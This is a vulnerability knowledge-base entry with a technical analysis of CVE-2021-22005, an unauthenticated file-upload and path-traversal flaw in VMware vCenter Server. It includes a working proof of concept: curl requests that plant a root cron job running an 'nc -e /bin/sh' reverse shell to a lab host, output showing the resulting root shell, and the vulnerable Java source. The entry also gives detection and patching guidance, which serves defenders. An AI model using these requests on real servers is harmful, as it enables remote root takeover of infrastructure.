Attacker Value
Very High
(3 users assessed)
Exploitability
Very High
(3 users assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
7

CVE-2021-22005

Disclosure Date: September 23, 2021
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated
Lateral Movement
Techniques
Validation
Validated

Description

The vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file.

Add Assessment

3
Ratings
Technical Analysis

This assessment has moved to the Rapid7 analysis. Thank you.

2
Technical Analysis

A RCE vulnerability exists in vCenter Server 6.7 and 7.0 which could allow an actor to with access to port 443 can execute commands and software on unpatched vCenter Server deployments by uploading a specially crafted file.
https://www.bleepingcomputer.com/news/security/vmware-warns-of-critical-bug-in-default-vcenter-server-installs/#.YUoiQlUeVM8

2
Ratings
Technical Analysis

This is a remote -code-execution vulnerability which can be abused by an unauthenticated attacker. According to the VMware FAQ this vulnerability can be used under the following circumstances:

This vulnerability can be used by anyone who can reach vCenter Server over the network to gain access, regardless of the configuration settings of vCenter Server.

Looking at the timeline of another file upload vuln in vmware vcenter:

CVE-2021-21972

I would argue, that this vuln has a high likelyhood of being exploited soon.

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Products

  • VMware vCenter Server, VMware Cloud Foundation

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

Threat status: Widespread threat
Attacker utility: Network infrastructure compromise

On Tuesday, September 21, 2021, VMware published a security advisory on CVE-2021-22005, a critical file upload vulnerability in vCenter Server. Successful exploitation allows remote, unauthenticated attackers with network access to port 443 to execute code on vulnerable vCenter servers, “regardless of the configuration settings of the vCenter Server.” CVE-2021-22005 carries a CVSSv3 base score of 9.8.

As of September 27, 2021, proof-of-concept (PoC) exploit code is publicly available and community researchers have observed both mass scanning and exploit activity in the wild. We expect this to increase quickly; vCenter administrators who have not already done so should patch on an emergency basis and examine their networks for indicators of compromise.

Affected products

  • vCenter Server 6.7
  • vCenter Server 7.0
  • Cloud Foundation (vCenter Server) 3.x
  • Cloud Foundation (vCenter Server) 4.x

Technical analysis

The following analysis was first published by Rapid7’s William Vu here.

RCE PoC against CEIP (telemetry), which must be enabled but is an opt-out feature:

wvu@kharak:~$ curl -kv "https://172.16.57.2/analytics/telemetry/ph/api/hyper/send?_c=&_i=/$RANDOM" -H Content-Type: -d ""
*   Trying 172.16.57.2...
* TCP_NODELAY set
* Connected to 172.16.57.2 (172.16.57.2) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/cert.pem
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=172.16.57.2; C=US
*  start date: Sep 21 23:36:07 2021 GMT
*  expire date: Sep 16 23:36:04 2031 GMT
*  issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /analytics/telemetry/ph/api/hyper/send?_c=&_i=/7019 HTTP/1.1
> Host: 172.16.57.2
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 0
>
< HTTP/1.1 201
< Content-Length: 0
< Date: Mon, 27 Sep 2021 23:00:07 GMT
< Server: Apache
<
* Connection #0 to host 172.16.57.2 left intact
* Closing connection 0
wvu@kharak:~$ curl -kv "https://172.16.57.2/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh 172.16.57.1 4444"
*   Trying 172.16.57.2...
* TCP_NODELAY set
* Connected to 172.16.57.2 (172.16.57.2) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/cert.pem
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=172.16.57.2; C=US
*  start date: Sep 21 23:36:07 2021 GMT
*  expire date: Sep 16 23:36:04 2031 GMT
*  issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> POST /analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/30229 HTTP/1.1
> Host: 172.16.57.2
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 45
>
* upload completely sent off: 45 out of 45 bytes
< HTTP/1.1 201
< Content-Length: 0
< Date: Mon, 27 Sep 2021 23:01:00 GMT
< Server: Apache
<
* Connection #0 to host 172.16.57.2 left intact
* Closing connection 0
wvu@kharak:~$

The first request creates the directory required for the path traversal to succeed:

root@photon-machine [ ~ ]# realpath -m /var/log/vmware/analytics/prod/_c_i/../../../../../../etc/cron.d
/etc/cron.d
root@photon-machine [ ~ ]#

The second request creates a cron job that spawns a reverse shell:

wvu@kharak:~$ ncat -lv 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.16.57.2.
Ncat: Connection from 172.16.57.2:37570.
id
uid=0(root) gid=0(root) groups=0(root),1000(vami),4044(shellaccess),59005(coredump)
uname -a
Linux photon-machine 4.4.250-1.ph1 #1-photon SMP Fri Jan 15 03:01:15 UTC 2021 x86_64 GNU/Linux

No attack-related log files appear to be written, though the following files are created during exploitation:

root@photon-machine [ ~ ]# ls -l /var/log/vmware/analytics/prod/_c_i/*.json /etc/cron.d/*.json
-rw-r--r-- 1 root root 46 Sep 27 23:01 /etc/cron.d/30229.json
-rw-r--r-- 1 root root  1 Sep 27 23:00 /var/log/vmware/analytics/prod/_c_i/7019.json
root@photon-machine [ ~ ]# cat /etc/cron.d/30229.json
* * * * * root nc -e /bin/sh 172.16.57.1 4444
root@photon-machine [ ~ ]#

Which can be watched using the Linux audit framework:

root@photon-machine [ ~ ]# auditctl -w /etc/cron.d -p w -k CVE-2021-22005
root@photon-machine [ ~ ]# ausearch -k CVE-2021-22005
----
time->Tue Sep 28 08:06:32 2021
type=CONFIG_CHANGE msg=audit(1632816392.774:252): auid=0 ses=1 op="add_rule" key="CVE-2021-22005" list=4 res=1
----
time->Tue Sep 28 08:07:30 2021
type=PROCTITLE msg=audit(1632816450.928:253): proctitle=2F7573722F6A6176612F6A72652D766D776172652F62696E2F766D776172652D616E616C79746963732E6C61756E63686572002D586D783132386D002D58583A436F6D70726573736564436C617373537061636553697A653D36346D002D5873733235366B002D58583A506172616C6C656C4743546872656164733D31002D44
type=PATH msg=audit(1632816450.928:253): item=1 name="/var/log/vmware/analytics/prod/_c_i/../../../../../../etc/cron.d/12147.json" inode=542310 dev=08:03 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE
type=PATH msg=audit(1632816450.928:253): item=0 name="/var/log/vmware/analytics/prod/_c_i/../../../../../../etc/cron.d/" inode=525323 dev=08:03 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT
type=CWD msg=audit(1632816450.928:253):  cwd="/storage/log/vmware/vmon"
type=SYSCALL msg=audit(1632816450.928:253): arch=c000003e syscall=2 success=yes exit=154 a0=7f19d80a0df0 a1=441 a2=1b6 a3=7f1a15052a40 items=2 ppid=2017 pid=13929 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="vmware-analytic" exe="/usr/java/jre-vmware/bin/vmware-analytics.launcher" key="CVE-2021-22005"
root@photon-machine [ ~ ]#

The path traversal and file write can be traced to these three classes, where a log filename is constructed from unsanitized input:

package com.vmware.ph.phservice.push.telemetry.server;

import com.vmware.ph.phservice.common.server.HttpUtil;
import com.vmware.ph.phservice.common.server.throttler.RateLimiter;
import com.vmware.ph.phservice.push.telemetry.TelemetryLevel;
import com.vmware.ph.phservice.push.telemetry.TelemetryLevelService;
import com.vmware.ph.phservice.push.telemetry.TelemetryRequest;
import com.vmware.ph.phservice.push.telemetry.TelemetryService;
import com.vmware.ph.phservice.push.telemetry.server.throttler.RateLimiterProvider;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.concurrent.Callable;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.io.IOUtils;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class AsyncTelemetryController {
  private static final Log _log = LogFactory.getLog(AsyncTelemetryController.class);

  private static final String STAGE_PATH = "/ph-stg/api/hyper/send";

  private static final String PROD_PATH = "/ph/api/hyper/send";

  private static final String STAGE_LEVEL_PATH = "/ph-stg/api/level";

  private static final String PROD_LEVEL_PATH = "/ph/api/level";

  private final TelemetryService _prodTelemetryService;

  private final TelemetryService _stageTelemetryService;

  private final TelemetryLevelService _prodTelemetryLevelService;

  private final TelemetryLevelService _stageTelemetryLevelService;

  private final long _telemetryRequestPermitTimeoutMillis;

  private final RateLimiter _globalTelemetryRateLimiter;

  private RateLimiterProvider _prodRateLimiterProvider;

  private RateLimiterProvider _stageRateLimiterProvider;

  public AsyncTelemetryController(TelemetryService prodTelemetryService, TelemetryService stageTelemetryService, TelemetryLevelService prodTelemetryLevelService, TelemetryLevelService stageTelemetryLevelService, RateLimiter globalTelemetryRateLimiter, long telemetryRequestPermitTimeoutMillis) {
    this._prodTelemetryService = prodTelemetryService;
    this._stageTelemetryService = stageTelemetryService;
    this._prodTelemetryLevelService = prodTelemetryLevelService;
    this._stageTelemetryLevelService = stageTelemetryLevelService;
    this._globalTelemetryRateLimiter = globalTelemetryRateLimiter;
    this._telemetryRequestPermitTimeoutMillis = telemetryRequestPermitTimeoutMillis;
  }

  public void setProdRateLimiterProvider(RateLimiterProvider prodRateLimiterProvider) {
    this._prodRateLimiterProvider = prodRateLimiterProvider;
  }

  public void setStageRateLimiterProvider(RateLimiterProvider stageRateLimiterProvider) {
    this._stageRateLimiterProvider = stageRateLimiterProvider;
  }

  @RequestMapping(method = {RequestMethod.POST}, value = {"/ph/api/hyper/send"})
  public Callable<ResponseEntity<Void>> handleSendRequest(HttpServletRequest httpRequest, @RequestParam(value = "_v", required = false) String version, @RequestParam("_c") String collectorId, @RequestParam(value = "_i", required = false) String collectorInstanceId) throws IOException {
    return handleSendRequest(this._prodTelemetryService, this._prodRateLimiterProvider, httpRequest, version, collectorId, collectorInstanceId);
  }

  @RequestMapping(method = {RequestMethod.POST}, value = {"/ph-stg/api/hyper/send"})
  public Callable<ResponseEntity<Void>> handleStageSendRequest(HttpServletRequest httpRequest, @RequestParam(value = "_v", required = false) String version, @RequestParam("_c") String collectorId, @RequestParam(value = "_i", required = false) String collectorInstanceId) throws IOException {
    return handleSendRequest(this._stageTelemetryService, this._stageRateLimiterProvider, httpRequest, version, collectorId, collectorInstanceId);
  }

  @RequestMapping(method = {RequestMethod.GET}, value = {"/ph/api/level"})
  public Callable<ResponseEntity<String>> handleGetLevelRequest(@RequestParam("_c") String collectorId, @RequestParam(value = "_i", required = false) String collectorInstanceId) {
    return handleGetLevelRequest(this._prodTelemetryLevelService, this._prodRateLimiterProvider, collectorId, collectorInstanceId);
  }

  @RequestMapping(method = {RequestMethod.GET}, value = {"/ph-stg/api/level"})
  public Callable<ResponseEntity<String>> handleStageGetLevelRequest(@RequestParam("_c") String collectorId, @RequestParam(value = "_i", required = false) String collectorInstanceId) {
    return handleGetLevelRequest(this._stageTelemetryLevelService, this._stageRateLimiterProvider, collectorId, collectorInstanceId);
  }

  private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException {
    final TelemetryRequest telemetryRequest = createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId);
    return new Callable<ResponseEntity<Void>>() {
        public ResponseEntity<Void> call() throws Exception {
          if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider))
            return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
          telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[] { this.val$telemetryRequest });
          return new ResponseEntity(HttpStatus.CREATED);
        }
      };
  }

  private Callable<ResponseEntity<String>> handleGetLevelRequest(final TelemetryLevelService telemetryLevelService, final RateLimiterProvider rateLimiterProvider, final String collectorId, final String collectorInstanceId) {
    return new Callable<ResponseEntity<String>>() {
        public ResponseEntity<String> call() throws Exception {
          if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider))
            return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS);
          TelemetryLevel level = telemetryLevelService.getTelemetryLevel(collectorId, collectorInstanceId);
          ResponseEntity<String> telemetryLevelResponseEntity = new ResponseEntity(AsyncTelemetryController.wrapStringAsJsonString(level.toString()), HttpStatus.OK);
          return telemetryLevelResponseEntity;
        }
      };
  }

  private boolean isRequestPermitted(String collectorId, String collectorInstanceId, RateLimiterProvider collectorRateLimiterProvider) {
    boolean isRequestPermitted = this._globalTelemetryRateLimiter.tryAcquire(this._telemetryRequestPermitTimeoutMillis);
    if (isRequestPermitted && collectorRateLimiterProvider != null) {
      RateLimiter collectorRateLimiter = collectorRateLimiterProvider.getRateLimiter(collectorId, collectorInstanceId);
      if (collectorRateLimiter != null)
        isRequestPermitted = collectorRateLimiter.tryAcquire(this._telemetryRequestPermitTimeoutMillis);
    }
    if (!isRequestPermitted)
      _log.warn("Request will not be processed due to high load.");
    return isRequestPermitted;
  }

  private static TelemetryRequest createTelemetryRequest(HttpServletRequest httpRequest, String version, String collectorId, String collectorInstanceId) throws IOException {
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    IOUtils.copy((InputStream)httpRequest.getInputStream(), out);
    boolean isCompressed = HttpUtil.isCompressed(httpRequest);
    TelemetryRequest telemetryRequest = new TelemetryRequest(version, collectorId, collectorInstanceId, out.toByteArray(), isCompressed);
    return telemetryRequest;
  }

  private static final String wrapStringAsJsonString(String responseBody) {
    return String.format("\"%s\"", new Object[] { responseBody });
  }
}
package com.vmware.ph.phservice.push.telemetry;

import com.vmware.ph.phservice.push.telemetry.internal.impl.ResultFuture;
import com.vmware.ph.phservice.push.telemetry.internal.log.LogTelemetryUtil;
import java.io.UnsupportedEncodingException;
import java.nio.file.Path;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Set;
import java.util.concurrent.Future;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
import org.apache.logging.log4j.core.LoggerContext;

public class LogTelemetryService implements TelemetryService {
  private static final String CTX_LOG_TELEMETRY_DIR_PATH = "logTelemetryDirPath";

  private static final String CTX_LOG_TELEMETRY_FILE_NAME = "logTelemetryFileName";

  private final Path _logDirPath;

  private final Logger _logger;

  public LogTelemetryService(Path logDirPath, LoggerContext loggerContext) {
    this._logDirPath = logDirPath;
    this._logger = (Logger)loggerContext.getLogger(LogTelemetryService.class.getName() + ":" + logDirPath.toString());
  }

  public Future<Boolean> processTelemetry(String collectorId, String collectorInstanceId, TelemetryRequest[] telemetryRequests) {
    ThreadContext.put("logTelemetryDirPath", this._logDirPath.normalize().toString());
    ThreadContext.put("logTelemetryFileName", LogTelemetryUtil.getLogFileNamePattern(collectorId, collectorInstanceId));
    for (TelemetryRequest telemetryRequest : telemetryRequests)
      this._logger.info(serializeToLogMessage(telemetryRequest));
    return new ResultFuture<>(Boolean.TRUE);
  }

  public List<CollectorAgent> getAvailableCollectors() {
    Set<CollectorAgent> collectors = new LinkedHashSet<>();
    Path[] paths = LogTelemetryUtil.getTelemetryLogPaths(this._logDirPath);
    for (Path path : paths) {
      CollectorAgent collectorAgent = LogTelemetryUtil.getCollectorAgent(path);
      collectors.add(collectorAgent);
    }
    return new ArrayList<>(collectors);
  }

  public Path getLogDirPath() {
    return this._logDirPath;
  }

  public Path getBookmarkDirectoryPath() {
    return getLogDirPath();
  }

  private static String serializeToLogMessage(TelemetryRequest telemetryRequest) {
    String body = "";
    try {
      body = new String(telemetryRequest.getData(), "UTF-8");
    } catch (UnsupportedEncodingException e) {}
    return body;
  }
}
package com.vmware.ph.phservice.push.telemetry.internal.log;

import com.vmware.ph.phservice.common.internal.file.FileUtil;
import com.vmware.ph.phservice.push.telemetry.CollectorAgent;
import com.vmware.ph.phservice.push.telemetry.TelemetryRequest;
import java.io.File;
import java.io.FilenameFilter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Date;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class LogTelemetryUtil {
  static final String COLLECTOR_ID_PREFIX = "_c";

  static final String COLLECTOR_INSTANCE_ID_PREFIX = "_i";

  static final String LOG_FILE_NAME_PATTERN = "_c%1$s_i%2$s";

  private static final String LOG_COMPRESSED_FILE_EXTENSION_REGEX = "\\.[\\d]+\\.json.gz";

  private static final Pattern LOG_ROLLING_FILE_INDEX_PATTERN = Pattern.compile(".+\\.(\\d+).json.gz");

  public static String getLogFileNamePattern(String collectorId, String collectorInstanceId) {
    String logFileName = String.format("_c%1$s_i%2$s", new Object[] { collectorId, collectorInstanceId });
    return logFileName;
  }

  public static Path[] getTelemetryLogPaths(Path logDirPath) {
    Path[] paths = FileUtil.listFiles(logDirPath, new FilenameFilter() {
          public boolean accept(File dir, String name) {
            return name.startsWith("_c");
          }
        });
    return paths;
  }

  public static CollectorAgent getCollectorAgent(Path logFilePath) {
    String logFileName = getLogFileName(logFilePath);
    int instanceIdIndex = logFileName.indexOf("_i");
    String collectorId = logFileName.substring("_c".length(), instanceIdIndex);
    String collectorInstanceId = logFileName.substring(instanceIdIndex + "_i".length());
    CollectorAgent collectorAgent = new CollectorAgent(collectorId, collectorInstanceId);
    return collectorAgent;
  }

  public static boolean isCompressed(Path logFilePath) {
    boolean isCompressed = logFilePath.toString().endsWith(".gz");
    return isCompressed;
  }

  public static TelemetryRequest buildTelemetryRequest(String collectorId, String collectorInstanceId, Path logFilePath) throws IOException {
    boolean isCompressed = isCompressed(logFilePath);
    byte[] data = Files.readAllBytes(logFilePath);
    TelemetryRequest telemetryRequest = new TelemetryRequest("1.0", collectorId, collectorInstanceId, data, isCompressed);
    return telemetryRequest;
  }

  public static boolean isLogFileNotProcessed(Path logFilePath, Date lastProcessedTimestamp) {
    if (FileUtil.isFileModifiedAfterTimestamp(logFilePath, lastProcessedTimestamp))
      return true;
    return false;
  }

  public static int getLogFileRolloverIndex(Path path, int defaultIndex) {
    String logFileName = path.toString();
    Matcher matcher = LOG_ROLLING_FILE_INDEX_PATTERN.matcher(logFileName);
    if (matcher.matches())
      return Integer.parseInt(matcher.group(1));
    return defaultIndex;
  }

  private static String getLogFileName(Path logFilePath) {
    String fileName = logFilePath.getFileName().toString();
    if (fileName.endsWith(".json.gz"))
      return fileName.replaceAll("\\.[\\d]+\\.json.gz", "");
    if (fileName.endsWith(".json")) {
      int extensionIndex = fileName.length() - ".json".length();
      return fileName.substring(0, extensionIndex);
    }
    return fileName;
  }
}

See this thread for additional context.

Guidance

Given the severity of the vulnerability and the potential for network infrastructure compromise,
vCenter Server administrators should apply the appropriate fixed version immediately, invoking emergency patch procedures. See VMware’s advisory for more information on fixed versions. Organizations are advised to check for any signs of suspicious activity since the vulnerability was announced on September 21, 2021; any organization that exposes vCenter to the internet on port 443 should immediately restrict access from the public internet. If updating is not a viable solution, VMware’s FAQ does document a temporary (but not recommended!) workaround.